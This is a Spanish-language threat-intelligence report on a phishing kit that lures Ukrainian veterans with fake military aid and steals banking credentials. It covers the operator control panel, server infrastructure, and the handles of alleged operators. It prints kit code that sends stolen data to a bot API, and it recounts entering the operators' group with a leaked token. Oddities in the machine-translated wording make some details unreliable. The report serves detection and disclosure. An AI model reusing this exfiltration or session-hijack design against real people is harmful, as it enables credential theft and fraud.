Lo que descubrió THE ENABLERS REGISTRY

El 20 de marzo de 2026, el proceso automatizado de detección de amenazas de THE ENABLERS REGISTRY detectó [REDACTED][.]sbs — un dominio recién registrado que aloja una página de possibly phishing que se hace pasar por «El escudo del defensor» («Escudo del Defensor»), una fundación ficticia dedicada a la ayuda militar a Ucrania. La página web se dirige a veteranos del ejército ucraniano, heridos en combate y familiares de soldados caídos, y les promete ayudas económicas del Gobierno mientras sustrae las credenciales bancarias de cinco de los bancos más importantes de Ucrania.

A continuación se ofrece un desglose completo de todo lo que ha revelado nuestro análisis automatizado: la ingeniería social, la infraestructura técnica, el sistema de control de operadores en tiempo real y las identidades de las personas que lo gestionan.

Sección 1: El cebo — La falsa «Fundación de Ayuda Militar»

El dominio [REDACTED][.]sbs se registró el 20 de marzo de 2026 a través de [REDACTED], un registrador con un historial bien documentado de respuestas lentas o inexistentes ante los casos de abuso. El .sbs TLD (Side-By-Side) es un gTLD de bajo coste que se utiliza con frecuencia para crear infraestructuras de possibly phishing desechables.

La página web se presenta como un portal profesional de ayuda vinculado al Gobierno. La cabecera está ocupada por una bandera ucraniana, las imágenes militares le aportan autenticidad y el texto está redactado cuidadosamente en ucraniano con un lenguaje burocrático que se asemeja al de los programas gubernamentales legítimos.

Captura de pantalla 5 — Página de inicio del sitio web de possibly phishing que se hace pasar por «Щит Захисника» (Escudo del Defensor).

Para ganarse la confianza de los usuarios, los operadores crearon un contador de estadísticas que aparecía en un lugar destacado de la página de inicio:

• 2.847 solicitudes — lo que da a entender que miles de personas ya han recibido ayuda
• Se han repartido ₴47,2 millones — una cifra elevada, pero creíble, en la UAH
• 19 programas — lo que sugiere una operación integral que abarca varios programas

Estas cifras son totalmente inventadas y están codificadas directamente en el código fuente de la página, sin conexión alguna con el servidor. Tienen un único objetivo: servir de prueba social para disipar las dudas de la víctima.

Sección 2: La trampa — 5 bancos, un objetivo

Tras hacer clic en «Подати заявку» (Enviar solicitud), a la víctima se le muestra una pantalla para seleccionar un banco. Aparecen como opciones cinco de los bancos minoristas más grandes de Ucrania, cada uno con su marca y logotipo oficiales. Es aquí donde la ingeniería social pasa de la manipulación emocional al robo técnico.

Captura de pantalla 6 — Pantalla de selección de banco. Cada opción da lugar a una secuencia personalizada de robo de credenciales.

El análisis del paquete de JavaScript del sitio web reveló que cada banco tiene un secuencia única de recopilación de credenciales en varias etapas, adaptado al flujo de autenticación real de ese banco:

El proceso del ataque es siempre el mismo en todos los bancos:

Captura de pantalla 7 — Página de inicio de sesión clonada de PrivatBank.

Captura de pantalla 9 — Página de inicio de sesión de PUMB clonada.

Captura de pantalla 10 — Flujo completo del ataque: desde la página falsa de ayuda militar, pasando por la selección del banco, hasta el robo de credenciales y la apropiación de la cuenta.

La pila tecnológica: SPA de React interfaz de usuario proporcionada a través de CDN de IANA #1910, con un Express.js backend que gestiona la sustracción de credenciales. La arquitectura de React permite crear formularios de varios pasos que se integran a la perfección y que resultan indistinguibles de las interfaces bancarias legítimas.

Sección 3: Control del operador en tiempo real

No se trata de un simple programa de recopilación de credenciales con una base de datos estática. El kit de possibly phishing incluye un Panel de control de WebSocket en tiempo real que permite a un operador humano controlar cada sesión de las víctimas en tiempo real.

El punto final de WebSocket en wss://[REDACTED][.]sbs/ws admite los siguientes tipos de mensajes:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Este control en tiempo real permite al operador:

• Forzar un estado de espera — mostrar el mensaje «Procesando tu solicitud...» mientras acceden a la cuenta bancaria real de la víctima
• Redirigir a un paso concreto — volver a solicitar un código por SMS si el primero ha caducado
• Mostrar mensajes de error falsos — «Código no válido, vuelva a introducirlo» para obtener varios tokens de autenticación de dos factores
• Plantea preguntas personalizadas — solicitar la fecha de nacimiento, el número de tarjeta o cualquier otro dato adicional durante la sesión

Captura de pantalla 8 — Formulario de introducción del número de teléfono utilizado para iniciar el robo de credenciales.

Captura de pantalla 11 — Panel de control en tiempo real del operador para gestionar las sesiones de las víctimas.

La gama completa de datos sustraídos por sesión: phone, password, PIN, SMS code, card number, date of birth, y email.

Sección 4: Detrás de IANA #1910: dos proyectos, un servidor

El proxy de IANA #1910 oculta el servidor de origen, pero el proceso de análisis de la infraestructura de THE ENABLERS REGISTRY ha identificado la verdadera dirección IP de origen: 45.131.214[.]148, alojado en RapidSeedbox / LeaseWeb en los Países Bajos.

Un detalle fundamental: [REDACTED][.]sbs se transmite a través de IANA #1910, ocultando su dirección IP de origen. Pero nuestro sistema también rastrea hlpforvpeople[.]sbs — un dominio relacionado registrado a través del mismo registrador IANA #3765 con patrones coincidentes. Ese dominio es NO está detrás de IANA #1910, revelando directamente su dirección IP de origen: 45.131.214[.]148.

Conectarse directamente a esta IP — sin un Host encabezado — reveló algo inesperado: un una página web de possibly phishing totalmente diferente. En lugar de la ayuda militar a Ucrania, el vhost predeterminado servía «Identificación sanitaria», una operación de possibly phishing relacionada con un seguro médico indonesio. El mismo servidor, víctimas totalmente diferentes, un país totalmente diferente.

Captura de pantalla 12 — Dos operaciones de possibly phishing paralelas que comparten el mismo servidor de origen: ayuda militar ucraniana ([REDACTED]) y seguro médico indonesio (HealthCare ID).

La plantilla de possibly phishing indonesia es una kit conocido registrado en la base de datos de inteligencia sobre amenazas de THE ENABLERS REGISTRY. Hemos observado variantes de esta misma plantilla en todo el sudeste asiático, dirigidas a entidades financieras de Indonesia, Tailandia y Vietnam. Los operadores se limitan a cambiar las plantillas específicas de cada país, al tiempo que reutilizan la misma infraestructura de fondo.

Sección 5: El archivo config.json que lo reveló todo

A continuación te explicamos, paso a paso, cómo un único archivo mal configurado echó por tierra toda la operación.

Tras identificar el segundo proyecto del servidor de origen, el de THE ENABLERS REGISTRY, Analizador de JS —nuestra herramienta automatizada de análisis de JavaScript— se centró en el paquete del sitio web de possibly phishing indonesio en https://45.131.214[.]148/assets/index-ZMQxHb_h.js. El analizador extrajo todos los puntos finales de la API, las URL externas y las rutas de configuración del archivo JavaScript de 335 KB. Entre los resultados, cabe destacar:

• Cinco puntos de conexión de la API en [REDACTED] — el panel C2 para la verificación de credenciales
• Una conexión WebSocket a wss://rezervtemka[.]cc
• Integración de Facebook Pixel para el seguimiento de víctimas
• Una referencia a /config.json — se carga en tiempo de ejecución para la configuración del bot de [REDACTED]

Siguiendo esta pista, hemos obtenido /config.json desde la IP de origen. Se podía acceder al archivo sin necesidad de autenticación: estaba en el directorio raíz del servidor web y cualquiera podía leerlo:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.[REDACTED].org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

El /config.json Se podía acceder al archivo directamente desde la IP de origen — Sin autenticación, sin control de acceso, solo un archivo JSON sin más en el directorio raíz de la web:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

El token de un bot de [REDACTED] sirve tanto de nombre de usuario como de contraseña. Quien tenga el token puede realizar llamadas a la API en nombre de ese bot. Los operadores dejaron el suyo en un archivo de acceso público. Seis llamadas a la API más tarde, ya lo teníamos todo:

Captura de pantalla 13 — La cadena completa de OSINT: desde el archivo config.json expuesto hasta la identificación completa del operador en 6 llamadas a la API.

Desde un único archivo mal configurado hasta la identificación completa de los operadores en seis solicitudes HTTP. Sin vulnerabilidades, sin acceso no autorizado: solo llamadas estándar a la API de [REDACTED] Bot utilizando un token que los propios operadores dejaron expuesto.

Sección 6: Los operadores

Captura de pantalla 14 — El grupo de operadores de [REDACTED] «Idr card», al que se ha tenido acceso gracias a la filtración del token del bot.

Propietario / Creador

MONETTI ESCOBAR

@monettiescobar

ID de [REDACTED]: 8135223234

[REDACTED] Premium, perfil empresarial

Zona horaria: UTC+3 (región de la CEI)

10 mensajes públicos — OPSEC estricta

Chat de TraFFeeQMedusa Google AdsCanal de deepfakes

Operador / Tráfico

Bonya

@BoaCC159

ID de [REDACTED]: 6242202706

También conocido como: PapaZakonVor, Boa, bubullikk

261 mensajes repartidos en 12 grupos

DC2 — Ámsterdam, Países Bajos

CryptoGrabMercado STYXRaven CCCHAT DE EMPIRESolución Phoenix

Desarrollador / Programador

Devoys

@devosus

ID de [REDACTED]: 8213612730

Desarrollador de kits de possibly phishing — los operadores se refieren a él como «programador»

Se les pidió que «pensaran en la defensa» cuando se descubrió la brecha de seguridad

Diseño que minimiza el impacto en el espacio público

Asa @devosus ≈ «dev ops us» — el puesto de trabajo como nombre de usuario

Desarrollador de kitsInfraestructuraSeguridad

MONETTI ESCOBAR — El jefe

MONETTI mantiene una estricta seguridad operativa: solo 10 mensajes públicos divididos en dos grupos. Pero los grupos lo dicen todo: Chat de TraFFeeQ (arbitraje de tráfico con fines fraudulentos), Medusa Google Ads (prácticas de «black hat» en Google Ads), y un Canal de deepfakes. En su perfil empresarial de [REDACTED] figura «Есть предложение» («Tengo una propuesta») — que anuncian abiertamente sus servicios. La zona horaria UTC+3 (la misma que la de Moscú, Minsk y Kiev) y el horario de atención al público las 24 horas del día, los 7 días de la semana, confirman que se trata de una empresa con sede en la CEI que opera sin descanso.

Bonya — El descuidado

A diferencia de la rigurosa seguridad operativa (OPSEC) de MONETTI, Bonya (antiguo alias: PapaZakonVor — algo así como «DaddyThiefByLaw») dejó un rastro digital enorme — 261 mensajes repartidos entre 12 grupos clandestinos. Su historial de chat parece un currículum de delincuente:

Su pertenencia a diversos grupos ofrece una visión completa: CryptoGrab (los que vacían carteras de criptomonedas), Mercado STYX (mercado negro de datos robados), Verificador de CC de Raven (herramientas de validación de tarjetas de crédito), CHAT DE EMPIRE y Solución Phoenix (coordinación de fraudes). No se trata de un delincuente que ha cometido un delito aislado, sino de alguien integrado en el ecosistema de la ciberdelincuencia.

Devoys — El desarrollador

La columna vertebral técnica de la operación. Diseñada para tener una presencia pública mínima; cuando el grupo fue infiltrado, Bonya lo llamó expresamente: «@devosus, piensa en la defensa antes de que nos den una paliza». — «@devosus, pensemos en la defensa antes de que nos den una paliza». Su respuesta sarcástica ante la filtración — «¿Cuándo en Interpol?» («cuándo interpolar») — lo que sugiere que no es la primera vez que se han librado por los pelos.

Análisis del comportamiento: 261 mensajes descifrados

El proceso de OSINT de THE ENABLERS REGISTRY recopiló y tradujo los 261 mensajes públicos procedentes de Bonya a través de 12 grupos clandestinos de [REDACTED] (junio de 2024 — marzo de 2026). Traducción automática mediante la API de DeepL con corrección manual del contexto. Los mensajes revelan un perfil operativo completo, clasificado a continuación por tipo de actividad delictiva.

Fraude bancario y possibly phishing

«Mulas de dinero» y «retirada de efectivo»

Fraude de tráfico y uso indebido de la publicidad

MONETTI ESCOBAR: El jefe silencioso

En marcado contraste con los 261 mensajes de Bonya, MONETTI solo tiene 10 mensajes públicos — todo en un único hilo en Chat de TraFFeeQ (Arbitraje de tráfico negro de ADS/SEO), en defensa de un compañero:

Los grupos de [REDACTED] de MONETTI lo dicen todo: Medusa Google Ads (fraude de PPC de «black hat»), un Canal de deepfakes (medios sintéticos utilizados con fines fraudulentos), y CHAT DE MARLBORO (privado, desconocido). La suscripción a [REDACTED] Premium, horario comercial 24 horas al día, 7 días a la semana, y «Есть предложение» («Tengo una propuesta») Su trayectoria profesional nos permite hacernos una idea de alguien que se dedica a la ciberdelincuencia a tiempo completo.

Captura de pantalla 2 — Perfil de MONETTI en [REDACTED].

Captura de pantalla 3 — Perfil de Bonya. Fíjate en DC2 (Ámsterdam).

Sección 7: La habitación del pánico

Después de que THE ENABLERS REGISTRY accediera al grupo de operadores a través del bot de [REDACTED] que había quedado expuesto, tuvo lugar el siguiente intercambio. El registro de la conversación que figura a continuación se ha traducido al inglés, conservando el ruso original en cursiva. Se ha ocultado la identidad utilizada para acceder.

El grupo se eliminó en cuestión de minutos. El mensaje de despedida de Bonya —«+»— y la respuesta de Devoys, «sí», lo dicen todo: Sabían que estaban al descubierto, y su única opción era destruir las pruebas. Pero para entonces, los datos ya se habían recopilado.

Fíjate en el revelador comentario de Bonya: «También nos atacaron a través del bot ucraniano» — lo que confirma que ambos proyectos (el ucraniano y el indonesio) cuentan con el mismo equipo de operadores, y que no era la primera vez que su infraestructura se veía comprometida.

Sección 8: Qué demuestra esto

Cronología de la investigación

Dominios relacionados

Nuestro análisis identificó un segundo ámbito — hlpforvpeople[.]sbs — registrados a través del mismo registrador y con patrones de infraestructura coincidentes. Ambos dominios figuran en nuestra base de datos:

• Informe de THE ENABLERS REGISTRY: [REDACTED][.]sbs
• Informe de THE ENABLERS REGISTRY: hlpforvpeople[.]sbs

Puntos clave

• La automatización es la única forma de no quedarse atrás. Los kits de possibly phishing se implementan y se convierten en armas en cuestión de horas. La revisión manual no puede adaptarse a ese ritmo.
• Los operadores cometen errores. Un archivo de configuración expuesto en un proyecto secundario desbarató toda una operación multinacional de possibly phishing. Es difícil mantener una seguridad operativa (OPSEC) perfecta en todos los proyectos.
• La ingeniería social evoluciona al ritmo de la actualidad. La guerra, la ayuda humanitaria y los programas gubernamentales se utilizan cada vez más como señuelos para el possibly phishing, ya que se dirigen a personas en situación de angustia que son menos propensas a cuestionar su legitimidad.
• La reutilización de infraestructuras es la norma. Un servidor, dos proyectos de possibly phishing, dos países, los mismos operadores. El análisis de las conexiones entre infraestructuras revela mucha más información que el análisis aislado de un único dominio.

Aviso legal: Esta investigación se llevó a cabo íntegramente mediante reconocimiento pasivo y API públicas. No se realizó ningún acceso no autorizado a ningún sistema. Las llamadas a la API del bot de [REDACTED] utilizaron un token que los operadores habían expuesto públicamente en un punto final sin autenticación. Todos los nombres de dominio que aparecen en este artículo se han ocultado según la convención estándar de seguridad de la información.